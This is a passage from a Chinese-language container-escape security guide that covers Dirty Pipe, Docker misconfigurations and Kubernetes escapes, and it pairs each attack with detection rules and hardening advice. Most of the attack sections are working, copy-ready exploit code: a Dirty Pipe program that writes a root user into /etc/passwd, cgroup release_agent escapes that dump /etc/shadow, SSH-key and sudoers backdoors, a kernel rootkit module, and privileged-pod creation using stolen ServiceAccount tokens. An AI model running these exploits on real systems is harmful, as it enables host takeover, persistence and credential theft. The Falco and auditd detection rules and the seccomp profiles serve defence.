// Step 4: 打开目标文件
int fd = open(target, O_RDONLY);
if (fd < 0) {
perror("open target");
return 1;
}
// Step 5: splice 目标文件页到管道
loff_t offset = 0; // 从文件开头开始
ssize_t splice_ret = splice(fd, &offset, pipefd[1], NULL, 1, 0);
if (splice_ret < 0) {
perror("splice");
close(fd);
return 1;
}
printf("[*] Spliced %zd bytes from %s into pipe\n", splice_ret, target);
close(fd);
// Step 6: 写入恶意数据 — 覆写文件开头
const char *payload = "hacker:x:0:0:PWNED:/:/bin/bash\n";
ssize_t written = write(pipefd[1], payload, strlen(payload));
if (written < 0) {
perror("write");
return 1;
}
printf("[+] Written %zd bytes of payload\n", written);
printf("[+] Done! Check %s for modification\n", target);
return 0;
}
EXPLOIT
# 编译
gcc -static -o /tmp/dirty_pipe /tmp/dirty_pipe.c
# 执行 — 覆写 /etc/passwd
/tmp/dirty_pipe /etc/passwd
# 验证
head -3 /etc/passwd
# hacker:x:0:0:PWNED:/:/bin/bash
# 原始 root 行被篡改!
# 验证逃逸效果
su hacker
whoami # root! (uid=0)
# 清理
exit
docker stop dirty-pipe-test dirty-cow-test 2>/dev/null && docker rm dirty-pipe-test dirty-cow-test 2>/dev/null
Dirty Pipe vs Dirty COW 对比:
| 维度 | Dirty COW (2016) | Dirty Pipe (2022) |
|---|---|---|
| 内核影响 | >= 2.6.22(极广) | 5.8 ~ 5.16.11 |
| 利用复杂度 | 需要竞态(概率性) | 确定性(100% 成功) |
| 需要特权 | 否 | 否 |
| 数据大小 | 小(一行 /etc/passwd) | 任意大小(可写入 ELF) |
| 稳定性 | 不稳定(竞态) | 极其稳定 |
6.6 检测规则
# falco-rules-dirtypipe.yaml
# Dirty Pipe (CVE-2022-0847) 检测规则
- rule: Suspicious splice + write Pattern
desc: 检测 splice 后紧跟 write 的可疑模式 (Dirty Pipe 特征)
condition: >
container and
syscall = splice and
proc.cmdline contains "dirty-pipe" or
proc.cmdline contains "exploit"
output: >
[DirtyPipe] 可疑 splice 调用
container=%container.name
user=%user.name
command=%proc.cmdline
pid=%proc.pid
priority: CRITICAL
tags: [container, dirtypipe, cve-2022-0847, exploit]
- rule: Sensitive File Access with splice
desc: 检测通过 splice 访问敏感文件
condition: >
container and
syscall = splice and
(fd.name = "/etc/passwd" or
fd.name = "/etc/shadow" or
fd.name = "/etc/sudoers" or
fd.name startswith "/root/.ssh/")
output: >
[DirtyPipe] 通过 splice 访问敏感文件!
container=%container.name
user=%user.name
file=%fd.name
command=%proc.cmdline
priority: CRITICAL
tags: [container, dirtypipe, sensitive_file]
- rule: pipe write after splice
desc: 检测 splice 后对管道的写入操作
condition: >
container and
evt.type = write and
fd.type = pipe and
proc.aname[2] = splice
output: >
[DirtyPipe] splice → pipe_write 模式
container=%container.name
pid=%proc.pid
priority: HIGH
tags: [container, dirtypipe, splice_pipe_pattern]
# auditd-dirtypipe.rules
# Dirty Pipe 相关审计规则
# 监控 splice 系统调用
-a always,exit -F arch=b64 -S splice -F auid>=1000 -k dirtypipe_splice
# 监控 tee 系统调用 (splice 的姐妹调用)
-a always,exit -F arch=b64 -S tee -F auid>=1000 -k dirtypipe_tee
# 监控 vmsplice (另一个使用管道缓冲区的 splice 变体)
-a always,exit -F arch=b64 -S vmsplice -F auid>=1000 -k dirtypipe_vmsplice
6.7 加固方案
| 加固措施 | 具体操作 | 防御层级 | 效果 |
|---|---|---|---|
| 内核升级 | 升级到 5.16.12+, 5.15.26+, 5.10.103+ | 内核层 | 根本修复 — PIPE_BUF_FLAG_CAN_MERGE 正确清零 |
| LSM 限制 | SELinux: 限制对 /etc/passwd 等文件的写操作 | LSM 层 | 即使页缓存被修改, 实际写入也会被阻止 |
| 只读文件系统 | docker run --read-only |
容器层 | 减少可被 splice 攻击的本地文件 |
| seccomp 过滤 | 禁止 splice/vmsplice 系统调用 | 运行时层 | 无法触发漏洞 |
| 完整性监控 | AIDE/Tripwire 监控关键文件变化 | 检测层 | 及时发现文件篡改 |
seccomp profile 过滤 splice:
{
"defaultAction": "SCMP_ACT_ALLOW",
"architectures": ["SCMP_ARCH_X86_64"],
"syscalls": [
{
"names": ["splice", "tee", "vmsplice"],
"action": "SCMP_ACT_ERRNO",
"args": [],
"comment": "阻止 Dirty Pipe 相关系统调用"
}
]
}
第七章 Docker 配置不当逃逸
核心原理: Docker 的安全隔离依赖正确的配置。任何错误的挂载、过大的权限、暴露的接口,都会成为逃逸路径。生产环境中 90%+ 的逃逸事件属于配置不当——不需要任何漏洞,只需要"找到入口"。
7.1 设计原理:信任边界错位
Docker 采用 C/S 架构。Docker Daemon(server)以 root 权限运行,通过 Unix Socket /var/run/docker.sock 接收客户端请求。容器安全模型的核心假设是:
- 容器内进程无法访问宿主机的管理接口(docker.sock、Daemon API)
- 容器只被授予完成任务所需的最小权限(Capabilities、设备访问)
- 容器只能看到和操作属于自己的资源(Namespace 隔离)
配置不当的本质是信任边界错位——本应属于宿主机管理域的接口/权限/资源,被错误地暴露给了容器内进程。
正常信任边界: 配置不当后的信任边界:
┌──────────────────┐ ┌──────────────────┐
│ 宿主机管理域 │ │ 宿主机管理域 │
│ ┌──────────────┐ │ │ ┌──────────────┐ │
│ │ docker.sock │ │ │ │ docker.sock ←┼─┼── 容器可访问!
│ │ Daemon API │ │ │ │ Daemon API ←┼─┼── 容器可访问!
│ │ 块设备 /dev/* │ │ │ │ 块设备/内存 ←┼─┼── 容器可访问!
│ │ /etc, /root │ │ │ │ /etc, /root ←┼─┼── 容器可访问!
│ └──────────────┘ │ │ └──────────────┘ │
│ ┌──────────┐ │ │ │
│ │ 容器进程 │ │ │ ┌──────────┐ │
│ └──────────┘ │ │ │ 容器进程──┼───┼─── 权限泄漏!
└──────────────────┘ └──────────────────┘
7.2 安全测试
测试 7.1: Docker Socket 挂载检测
# socket-mount-check.sh — 检测 docker.sock 是否被挂载到容器内
echo "[7.1] Docker Socket 挂载检测"
# 在容器内执行
if [ -S /var/run/docker.sock ]; then
echo "[!!!] 严重: docker.sock 已挂载到容器内!"
echo " 通过 socket 可控制宿主机 Docker Daemon"
echo " 修复: 移除 -v /var/run/docker.sock:/var/run/docker.sock"
else
echo "[+] 正常: docker.sock 不可见"
fi
测试 7.2: 特权容器检测
# privileged-check.sh — 检测容器是否以特权模式运行
echo "[7.2] 特权容器检测"
# 检查 CapEff 是否为全1 (0x3fffffffff)
CAP_EFF=$(grep CapEff /proc/self/status | awk '{print $2}')
if [ "$CAP_EFF" = "0000003fffffffff" ]; then
echo "[!!!] 严重: 特权容器! CapEff=$CAP_EFF"
echo " 全部 39 个 Capability 位已设置"
echo " 修复: 移除 --privileged, 使用 --cap-add 精确授权"
else
echo "[+] CapEff=$CAP_EFF"
fi
# 检查可访问的设备数量
DEV_COUNT=$(ls /dev/ 2>/dev/null | wc -l)
if [ "$DEV_COUNT" -gt 20 ]; then
echo "[!] 警告: 可访问 $DEV_COUNT 个设备 (正常容器应 <10)"
fi
测试 7.3: 敏感目录挂载检测
# mount-check.sh — 检测危险挂载
echo "[7.3] 敏感目录挂载检测"
DANGEROUS_MOUNTS=0
for mount_point in /hostroot /host_etc /host_root /hostfs; do
if [ -d "$mount_point" ]; then
echo "[!!!] 严重: 发现危险挂载点 $mount_point"
DANGEROUS_MOUNTS=$((DANGEROUS_MOUNTS + 1))
fi
done
# 检查 /proc/self/mountinfo 中的敏感挂载
grep -E '/etc|/root|/var/lib/docker|/var/run' /proc/self/mountinfo 2>/dev/null | while read line; do
echo "[!] 警告: 敏感目录挂载: $line"
done
if [ $DANGEROUS_MOUNTS -eq 0 ]; then
echo "[+] 未发现明显的危险挂载点"
fi
7.3 逃逸利用
利用 7.1: Docker Socket 挂载逃逸
原理: Docker 采用 C/S 架构。Docker Daemon 通过 Unix Socket /var/run/docker.sock 接收客户端请求。这个 socket 等同于 Docker Daemon 的全部权限——拥有它就能创建、启动、停止任意容器。
容器内进程 → docker.sock → Docker Daemon (root) → 创建特权容器 → 挂载宿主机根目录 → 宿主机 shell
利用步骤:
# Step 1: 创建存在漏洞的容器(宿主机执行)
docker run -dit --name socket-victim \
-v /var/run/docker.sock:/var/run/docker.sock \
alpine:latest
docker exec -it socket-victim /bin/sh
# Step 2: 在容器内确认 socket 存在
ls -la /var/run/docker.sock
# srw-rw---- 1 root root ... /var/run/docker.sock
apk add --no-cache curl jq
# 通过 socket 调用 Docker API 列出宿主机所有容器
curl -s --unix-socket /var/run/docker.sock \
http://localhost/containers/json | jq '.[].Names'
# Step 3: 通过 API 创建逃逸容器
CONTAINER_ID=$(curl -s --unix-socket /var/run/docker.sock \
-X POST http://localhost/containers/create \
-H "Content-Type: application/json" \
-d '{"Image":"alpine:latest","HostConfig":{"Binds":["/:/hostfs"]},"Cmd":["sleep","3600"]}' \
| jq -r '.Id')
curl -s --unix-socket /var/run/docker.sock \
-X POST "http://localhost/containers/${CONTAINER_ID}/start"
# 进入逃逸容器
docker exec -it $CONTAINER_ID /bin/sh
# 验证: 宿主机根文件系统
ls /hostfs/etc/passwd
cat /hostfs/etc/shadow # 宿主机密码哈希!
# 方法 B: 在容器内安装 docker 客户端
apk add --no-cache docker
docker run -it -v /:/hostfs alpine chroot /hostfs /bin/sh
利用 7.2: --privileged 特权容器逃逸
原理: --privileged 会解除容器的所有安全限制:赋予全部 14 个 Linux Capabilities、访问所有宿主机设备文件、禁用 AppArmor/Seccomp/SELinux、允许挂载任意文件系统。
特权容器 = 一个拥有 CAP_SYS_ADMIN + 所有设备 + 无 seccomp 的进程
= 等同于宿主机上的 root 用户
利用步骤:
# 实验 A: 磁盘挂载逃逸
docker run -dit --name priv-victim --privileged alpine:latest
docker exec -it priv-victim /bin/sh
# 验证 Capabilities
cat /proc/1/status | grep Cap
# CapEff: 0000003fffffffff — 全部 39 个 Capability 位
# 列出所有块设备
apk add --no-cache e2fsprogs util-linux
fdisk -l 2>/dev/null | grep "Disk /dev"
# 挂载宿主机根分区
mkdir -p /tmp/hostdisk
mount /dev/sda1 /tmp/hostdisk 2>/dev/null || mount /dev/vda1 /tmp/hostdisk
# chroot 到宿主机
chroot /tmp/hostdisk /bin/sh
whoami # root
hostname # 宿主机 hostname
# 实验 B: cgroup release_agent 逃逸 (参见第二章完整流程)
HOST_PATH=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
mkdir -p /tmp/cgrp
mount -t cgroup -o rdma cgroup /tmp/cgrp 2>/dev/null || \
mount -t cgroup -o memory cgroup /tmp/cgrp 2>/dev/null
mkdir /tmp/cgrp/escape
cat > /cmd << EOF
#!/bin/sh
cat /etc/shadow > $HOST_PATH/output
EOF
chmod +x /cmd
echo 1 > /tmp/cgrp/escape/notify_on_release
echo "$HOST_PATH/cmd" > /tmp/cgrp/release_agent
sh -c "echo \$\$ > /tmp/cgrp/escape/cgroup.procs"
sleep 2
cat /output # uid=0(root) — 在宿主机上以 root 执行!
# 实验 C: 持久化变体 — 写入 SSH 公钥
cat > /cmd << 'EOF'
#!/bin/sh
mkdir -p /root/.ssh
echo "ssh-rsa ATTACKER_KEY attacker@escape-lab" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
EOF
chmod +x /cmd
echo 1 > /tmp/cgrp/escape/notify_on_release
echo "$HOST_PATH/cmd" > /tmp/cgrp/release_agent
sh -c "echo \$\$ > /tmp/cgrp/escape/cgroup.procs"
利用 7.3: 敏感目录挂载逃逸
原理: 运维可能只挂载了部分宿主机目录到容器中,这比 --privileged 更隐蔽但同样危险。
-v /:/hostroot → 完全逃逸 (等同 --privileged + 磁盘挂载)
-v /etc:/host_etc → 可篡改系统配置 (crontab, SSH key, sudoers)
-v /var/lib/docker:/docker → 可修改容器配置、窃取镜像数据
-v /root:/host_root → 可写入 SSH key
-v /var/run:/host_run → 可访问 kubelet/docker 状态
利用步骤:
# 场景 1: 挂载 /etc
docker run -dit --name mount-etc -v /etc:/host_etc alpine:latest
docker exec -it mount-etc /bin/sh
ls /host_etc/
# passwd shadow ssh/ crontab ...
# 写入 SSH 公钥
echo "ssh-rsa AAAA... attacker@lab" >> /host_etc/ssh/sshd_config
# 写入 sudoers 后门
echo "ALL ALL=(ALL) NOPASSWD: ALL" >> /host_etc/sudoers.d/backdoor
# 场景 2: 挂载 /root
docker run -dit --name mount-root -v /root:/host_root alpine:latest
docker exec -it mount-root /bin/sh
mkdir -p /host_root/.ssh
echo "ssh-rsa AAAA... attacker@lab" > /host_root/.ssh/authorized_keys
# 场景 3: 挂载 Docker 数据目录
docker run -dit --name mount-docker -v /var/lib/docker:/docker alpine:latest
docker exec -it mount-docker /bin/sh
# 查看所有容器的配置
find /docker/containers -name config.v2.json -exec cat {} \; 2>/dev/null | head -100
# 可以看到所有容器的环境变量、挂载配置、镜像信息
利用 7.4: Capabilities 滥用
原理: 即使不是 --privileged,单个危险 Capability 也足以实现逃逸。
| Capability | 逃逸能力 | 危险等级 | 典型利用方式 |
|---|---|---|---|
CAP_SYS_ADMIN |
完全逃逸 | P0 | cgroup release_agent, mount |
CAP_SYS_MODULE |
完全逃逸 | P0 | 加载内核模块,宿主机 kernel root |
CAP_SYS_PTRACE |
完全逃逸 | P0 | 注入宿主机进程 (配合 --pid=host) |
CAP_SYS_RAWIO |
完全逃逸 | P0 | 直接访问块设备 |
CAP_DAC_OVERRIDE |
文件读写 | P1 | 绕过文件权限检查 |
CAP_SYS_ADMIN 利用:
docker run -dit --name cap-admin \
--cap-add CAP_SYS_ADMIN \
--security-opt apparmor=disabled \
--security-opt seccomp=unconfined \
alpine:latest
docker exec -it cap-admin /bin/sh
# 利用: cgroup release_agent (同利用 7.2B)
HOST_PATH=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
mkdir -p /tmp/cgrp
mount -t cgroup -o rdma cgroup /tmp/cgrp 2>/dev/null || \
mount -t cgroup -o memory cgroup /tmp/cgrp 2>/dev/null
mkdir /tmp/cgrp/escape
cat > /cmd << EOF
#!/bin/sh
id > $HOST_PATH/output
EOF
chmod +x /cmd
echo 1 > /tmp/cgrp/escape/notify_on_release
echo "$HOST_PATH/cmd" > /tmp/cgrp/release_agent
sh -c "echo \$\$ > /tmp/cgrp/escape/cgroup.procs"
sleep 2
cat /output
# uid=0(root) gid=0(root) — 在宿主机上以 root 执行!
CAP_SYS_MODULE 利用:
docker run -dit --name cap-module \
--cap-add CAP_SYS_MODULE \
--security-opt seccomp=unconfined \
alpine:latest
docker exec -it cap-module /bin/sh
apk add --no-cache linux-headers build-base
# 创建内核 rootkit
cat > /tmp/rootkit.c << 'EOF'
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/cred.h>
static int __init rootkit_init(void) {
struct cred *new_cred;
new_cred = prepare_creds();
if (new_cred) {
new_cred->uid.val = new_cred->gid.val = 0;
new_cred->euid.val = new_cred->egid.val = 0;
commit_creds(new_cred);
printk(KERN_INFO "rootkit: credentials escalated\n");
}
return 0;
}
static void __exit rootkit_exit(void) {
printk(KERN_INFO "rootkit: unloaded\n");
}
module_init(rootkit_init);
module_exit(rootkit_exit);
MODULE_LICENSE("GPL");
EOF
cd /tmp
make -C /lib/modules/$(uname -r)/build M=$(pwd) modules 2>&1
# 加载模块 — 直接获得宿主机 root 权限
insmod rootkit.ko
id # uid=0(root) — 宿主机 kernel space 中的 root
CAP_SYS_PTRACE 利用:
docker run -dit --name cap-ptrace \
--cap-add CAP_SYS_PTRACE \
--pid=host \
alpine:latest
docker exec -it cap-ptrace /bin/sh
# --pid=host 共享宿主机 PID namespace
ps aux # PID 1 = 宿主机 init/systemd
apk add --no-cache strace gdb
# 使用 strace 追踪宿主机进程
strace -p 1 -f -e trace=read,write 2>&1 | head -20
利用 7.5: Docker Daemon API 未授权
原理: Docker Daemon 可配置监听 TCP 端口(2375/2376)。旧版本默认无认证。
# 配置 Docker Daemon 监听 TCP(宿主机)
sudo tee /etc/docker/daemon.json << 'EOF'
{
"hosts": ["unix:///var/run/docker.sock", "tcp://0.0.0.0:2375"]
}
EOF
sudo systemctl restart docker
# 从容器外访问 API
curl http://<宿主机IP>:2375/containers/json | jq '.[].Names'
# 远程创建逃逸容器
curl -s http://<宿主机IP>:2375/containers/create \
-H "Content-Type: application/json" \
-d '{
"Image": "alpine:latest",
"HostConfig": {
"Binds": ["/:/hostfs"],
"Privileged": true
},
"Cmd": ["sleep", "3600"]
}' | jq -r '.Id'
curl -s -X POST http://<宿主机IP>:2375/containers/<ID>/start
# 修复: 配置 TLS 或移除 TCP 监听
sudo tee /etc/docker/daemon.json << 'EOF'
{
"hosts": ["unix:///var/run/docker.sock"]
}
EOF
sudo systemctl restart docker
7.4 实验复现
实验 7.1: Docker Socket 完整逃逸实验
# === 宿主机: 创建存在漏洞的容器 ===
docker run -dit --name socket-lab \
-v /var/run/docker.sock:/var/run/docker.sock \
alpine:latest
docker exec -it socket-lab /bin/sh
# === 容器内: 执行逃逸 ===
# 安装必要工具
apk add --no-cache curl jq docker
# 验证 socket 可用
curl -s --unix-socket /var/run/docker.sock http://localhost/info | jq '.OperatingSystem'
# 创建逃逸容器
docker run -it -v /:/hostfs alpine chroot /hostfs /bin/sh
# === 验证 ===
whoami # root
hostname # 宿主机 hostname
cat /etc/shadow # 宿主机密码文件!
# === 清理 ===
# 宿主机执行
docker stop socket-lab && docker rm socket-lab
实验 7.2: 特权容器磁盘挂载逃逸
# === 宿主机: 创建特权容器 ===
docker run -dit --name priv-lab --privileged alpine:latest
docker exec -it priv-lab /bin/sh
# === 容器内: 挂载宿主机磁盘 ===
apk add --no-cache e2fsprogs util-linux
# 列出块设备
fdisk -l 2>/dev/null | grep "Disk /dev"
# Disk /dev/sda: XX GB
# 挂载宿主机根分区
mkdir -p /tmp/hostdisk
mount /dev/sda1 /tmp/hostdisk 2>/dev/null || mount /dev/vda1 /tmp/hostdisk
# chroot 逃逸
chroot /tmp/hostdisk /bin/sh
whoami # root
hostname # 宿主机 hostname
# === 清理 ===
umount /tmp/hostdisk
exit
docker stop priv-lab && docker rm priv-lab
实验 7.3: Capabilities 精确逃逸实验
# === CAP_SYS_ADMIN: 仅一个 CAP 即可逃逸 ===
docker run -dit --name cap-lab \
--cap-add CAP_SYS_ADMIN \
--security-opt apparmor=disabled \
alpine:latest
docker exec -it cap-lab /bin/sh
# 验证: 只有一个额外 CAP
cat /proc/self/status | grep Cap
# CapEff 不是全1, 但 CAP_SYS_ADMIN 位已设置
# 利用 cgroup release_agent
HOST_PATH=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
mkdir -p /tmp/cgrp
mount -t cgroup -o rdma cgroup /tmp/cgrp 2>/dev/null || \
mount -t cgroup -o memory cgroup /tmp/cgrp 2>/dev/null
mkdir /tmp/cgrp/escape
echo '#!/bin/sh' > /cmd
echo "cat /etc/shadow > $HOST_PATH/output" >> /cmd
chmod +x /cmd
echo 1 > /tmp/cgrp/escape/notify_on_release
echo "$HOST_PATH/cmd" > /tmp/cgrp/release_agent
sh -c "echo \$\$ > /tmp/cgrp/escape/cgroup.procs"
sleep 2
cat /output # 宿主机 /etc/shadow 内容!
# === 清理 ===
umount /tmp/cgrp 2>/dev/null
rm -rf /tmp/cgrp /cmd /output 2>/dev/null
exit
docker stop cap-lab && docker rm cap-lab
7.5 检测规则
# falco-rules-config-escape.yaml
# Docker 配置不当逃逸检测规则
# 1. Docker Socket 访问
- rule: Docker Socket Access from Container
desc: Detect access to docker.sock from inside a container
condition: >
container and open_write and fd.name contains "docker.sock"
output: >
Docker socket access from container
user=%user.name container=%container.name image=%container.image.repository
file=%fd.name
priority: CRITICAL
tags: [container, escape, docker]
# 2. 特权容器检测
- rule: Privileged Container Started
desc: Detect privileged container start
condition: >
container and container.privileged=true and evt.type=execve
output: >
Privileged container process started
container=%container.name image=%container.image.repository
command=%proc.cmdline
priority: CRITICAL
tags: [container, escape, privileged]
# 3. 宿主机磁盘挂载
- rule: Host Disk Mount from Container
desc: Detect mounting of host block devices from container
condition: >
container and spawned_process and
proc.name = "mount" and fd.type = "block"
output: >
Host disk mount attempt from container
container=%container.name device=%fd.name
priority: CRITICAL
tags: [container, escape, mount]
# 4. 敏感文件读取
- rule: Sensitive File Access from Container
desc: Detect access to host sensitive files
condition: >
container and open_read and
(fd.name contains "/etc/shadow" or
fd.name contains "/etc/passwd" or
fd.name contains "/root/.ssh")
output: >
Sensitive file access from container
user=%user.name container=%container.name file=%fd.name
priority: WARNING
tags: [container, escape, sensitive]
# 5. 内核参数修改
- rule: Kernel Parameter Modification from Container
desc: Detect kernel parameter modification from container
condition: >
container and open_write and
fd.name startswith "/proc/sys"
output: >
Kernel parameter modification from container
container=%container.name file=%fd.name
priority: WARNING
tags: [container, escape, kernel]
# 6. Daemon API 未授权访问
- rule: Docker Daemon TCP Access
desc: Detect access to Docker Daemon TCP port from container
condition: >
container and
(fd.sip="0.0.0.0" and fd.sport=2375)
output: >
Docker Daemon TCP access from container
container=%container.name connection=%fd.name
priority: CRITICAL
tags: [container, escape, docker_api]
# auditd-config-escape.rules
# Docker 配置不当逃逸审计规则
# 监控 docker.sock 访问
-a always,exit -F arch=b64 -S openat -F path=/var/run/docker.sock -F key=docker_socket
# 监控 Docker Daemon TCP 端口连接
-a always,exit -F arch=b64 -S connect -F a2=2375 -F key=docker_api
7.6 加固方案
| 加固项 | 修复前 | 修复后 | 优先级 |
|---|---|---|---|
| 禁止 --privileged | docker run --privileged |
docker run --privileged=false (默认) |
P0 |
| 最小 Capabilities | --cap-add ALL |
--cap-drop ALL --cap-add CAP_NET_BIND_SERVICE |
P0 |
| 禁止挂载 docker.sock | -v /var/run/docker.sock:... |
不挂载; 或使用 Docker Socket Proxy | P0 |
| 禁止挂载敏感目录 | -v /:/hostfs |
不挂载; 必要时用只读挂载 | P0 |
| 启用 Seccomp | --security-opt seccomp=unconfined |
使用默认或自定义 profile | P1 |
| 启用 AppArmor | 未配置 | --security-opt apparmor=docker-default |
P1 |
| 只读文件系统 | 可写 rootfs | --read-only + tmpfs 挂载 |
P1 |
| 禁止共享 NS | --pid host / --net host |
--pid private / --network bridge |
P1 |
| 资源限制 | 无限制 | --memory 512m --cpus 1 --pids-limit 100 |
P2 |
| 非 root 运行 | 容器内 root | Dockerfile: USER appuser |
P2 |
| Daemon API TLS | TCP 2375 无认证 | TLS 2376 或仅 Unix Socket | P0 |
| User Namespace 重映射 | 容器 root = 宿主机 root | --userns-remap |
P2 |
Docker 安全启动命令模板:
# 安全的容器启动命令
docker run -dit \
--name secure-app \
--cap-drop ALL \
--cap-add CAP_NET_BIND_SERVICE \
--security-opt apparmor=docker-default \
--security-opt seccomp=default.json \
--security-opt no-new-privileges \
--read-only \
--pids-limit 100 \
--memory 512m \
--cpus 1 \
--tmpfs /tmp:rw,noexec,nosuid \
--tmpfs /run:rw,noexec,nosuid \
-u 1000:1000 \
nginx:latest
K8s Pod 安全标准:
apiVersion: v1
kind: Pod
metadata:
name: secure-pod
spec:
securityContext:
runAsNonRoot: true
runAsUser: 1000
fsGroup: 1000
seccompProfile:
type: RuntimeDefault
containers:
- name: app
image: nginx:latest
securityContext:
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
capabilities:
drop: ["ALL"]
add: ["NET_BIND_SERVICE"]
volumeMounts:
- name: tmp
mountPath: /tmp
volumes:
- name: tmp
emptyDir: {}
沙箱运行时替代方案:
| 方案 | 隔离机制 | 性能开销 | 兼容性 |
|---|---|---|---|
| gVisor | 用户态内核 (Sentry) | 中等 (10-20%) | 大部分应用兼容 |
| Kata Containers | 轻量 VM (Firecracker/QEMU) | 较高 (30-50%) | 完全兼容 |
| runc + 强隔离 | namespace + cgroup + seccomp + apparmor | 最低 | 需要正确配置 |
第八章 Kubernetes 环境逃逸
核心原理: Kubernetes 在 Docker 之上增加了额外的抽象层(Pod、ServiceAccount、RBAC、Kubelet),每一个抽象层都引入了新的信任边界。当这些边界配置不当时,攻击者可以通过 K8s 特有的路径完成逃逸。
8.1 设计原理:K8s 信任边界模型
Kubernetes 的安全模型在 Docker 的基础上增加了以下信任边界:
┌───────────────────────────────────────────────────────────────────┐
│ Kubernetes 信任边界 │
├───────────────────────────────────────────────────────────────────┤
│ │
│ ┌─────────────────────────────────────────────────────────────┐ │
│ │ 边界 1: Pod → API Server (RBAC) │ │
│ │ ServiceAccount Token → API Server → 鉴权 → 操作集群资源 │ │
│ └─────────────────────────────────────────────────────────────┘ │
│ │
│ ┌─────────────────────────────────────────────────────────────┐ │
│ │ 边界 2: Pod → Kubelet (10250) │ │
│ │ Kubelet API → 在 Node 上执行命令 → 获取容器访问权限 │ │
│ └─────────────────────────────────────────────────────────────┘ │
│ │
│ ┌─────────────────────────────────────────────────────────────┐ │
│ │ 边界 3: Pod → Cloud Metadata (169.254.169.254) │ │
│ │ SSRF → 获取云凭据 → 控制云资源 │ │
│ └─────────────────────────────────────────────────────────────┘ │
│ │
│ ┌─────────────────────────────────────────────────────────────┐ │
│ │ 边界 4: Pod → Node (Docker 层逃逸) │ │
│ │ 特权容器 / docker.sock / 危险 CAP → 宿主机访问 │ │
│ └─────────────────────────────────────────────────────────────┘ │
│ │
└───────────────────────────────────────────────────────────────────┘
关键理解: K8s 逃逸可以是纵向的(Pod → Node,突破容器边界)也可以是横向的(Pod → API Server → 其他 Pod/Node)。ServiceAccount Token 滥用是典型的横向逃逸。
8.2 安全测试
测试 8.1: ServiceAccount 权限审计
# sa-audit.sh — 审计当前 Pod 的 SA 权限
echo "[8.1] ServiceAccount 权限审计"
# 检查 SA Token 是否存在
if [ -f /var/run/secrets/kubernetes.io/serviceaccount/token ]; then
echo "[!] SA Token 存在"
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
APISERVER=https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}
# 检查可以执行的操作
echo " self-subject-access-review:"
curl -sk -H "Authorization: Bearer $TOKEN" \
"$APISERVER/apis/authorization.k8s.io/v1/selfsubjectaccessreviews" \
-X POST -H "Content-Type: application/json" \
-d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectAccessReview","spec":{"resourceAttributes":{"namespace":"default","verb":"*","resource":"*"}}}' \
2>/dev/null | jq '.status.allowed // "unknown"'
else
echo "[+] 无 SA Token (安全)"
fi
测试 8.2: Kubelet API 可达性检测
# kubelet-check.sh — 检测 Kubelet API 未授权访问
echo "[8.2] Kubelet API 可达性检测"
# 检查 Kubelet 端口
for port in 10250 10255 10256; do
if timeout 3 bash -c "echo >/dev/tcp/${KUBERNETES_SERVICE_HOST:-node_ip}/$port" 2>/dev/null; then
echo "[!] 端口 $port 可达"
# 尝试未授权访问
RESPONSE=$(curl -sk "https://localhost:$port/pods" 2>/dev/null | head -100)
if [ -n "$RESPONSE" ]; then
echo "[!!!] 严重: Kubelet API 端口 $port 未授权可访问!"
fi
else
echo "[+] 端口 $port 不可达"
fi
done
测试 8.3: 云 Metadata 可达性检测
# metadata-check.sh — 检测云 Metadata 服务可达性
echo "[8.3] 云 Metadata 可达性检测"
# AWS IMDSv1
AWS_META=$(curl -s --connect-timeout 3 http://169.254.169.254/latest/meta-data/ 2>/dev/null)
if [ -n "$AWS_META" ]; then
echo "[!!!] 严重: AWS Metadata 服务可达!"
echo " 可获取 IAM 临时凭据"
fi
# Azure
AZURE_META=$(curl -s --connect-timeout 3 -H "Metadata: true" \
"http://169.254.169.254/metadata/instance?api-version=2021-02-01" 2>/dev/null)
if [ -n "$AZURE_META" ]; then
echo "[!!!] 严重: Azure Metadata 服务可达!"
fi
# GCP
GCP_META=$(curl -s --connect-timeout 3 -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/" 2>/dev/null)
if [ -n "$GCP_META" ]; then
echo "[!!!] 严重: GCP Metadata 服务可达!"
fi
if [ -z "$AWS_META" ] && [ -z "$AZURE_META" ] && [ -z "$GCP_META" ]; then
echo "[+] 云 Metadata 服务不可达 (安全)"
fi
8.3 逃逸利用
利用 8.1: ServiceAccount Token 滥用
原理: K8s 默认为每个 Pod 挂载 ServiceAccount Token。如果 SA 被赋予了过大的 RBAC 权限(如 cluster-admin),攻击者可以通过 API Server 创建特权 Pod 实现逃逸。
# Step 1: 获取 SA Token
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
echo "Token (前50字符): ${TOKEN:0:50}..."
APISERVER=https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}
# Step 2: 检查权限
curl -sk -H "Authorization: Bearer $TOKEN" \
$APISERVER/api/v1/namespaces/default/pods | jq '.items[].metadata.name'
# Step 3: 创建特权 Pod 逃逸
cat > /tmp/escape-pod.yaml << 'ESCAPE'
apiVersion: v1
kind: Pod
metadata:
name: host-escape
namespace: kube-system
spec:
hostPID: true
hostNetwork: true
containers:
- name: escape
image: alpine:latest
command: ["nsenter", "--target", "1", "--mount", "--uts", "--ipc", "--net", "--pid", "--", "bash", "-l"]
securityContext:
privileged: true
volumeMounts:
- name: host-root
mountPath: /host
volumes:
- name: host-root
hostPath:
path: /
ESCAPE
curl -sk -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/yaml" \
--data-binary @/tmp/escape-pod.yaml \
$APISERVER/api/v1/namespaces/kube-system/pods
# Step 4: 进入逃逸 Pod
kubectl exec -it host-escape -n kube-system -- /bin/sh
# 此时在宿主机 namespace 中!
利用 8.2: Kubelet API 未授权
原理: Kubelet 在每个 Node 的 10250 端口监听 API。如果未配置认证,可以远程执行命令。
# 扫描 Kubelet 端口
nmap -p 10250 <K8s_Node_IP>
# 未授权访问测试
curl -sk https://<K8s_Node_IP>:10250/pods
# 返回所有 Pod 列表 → 未授权!
# 在其他 Pod 中执行命令
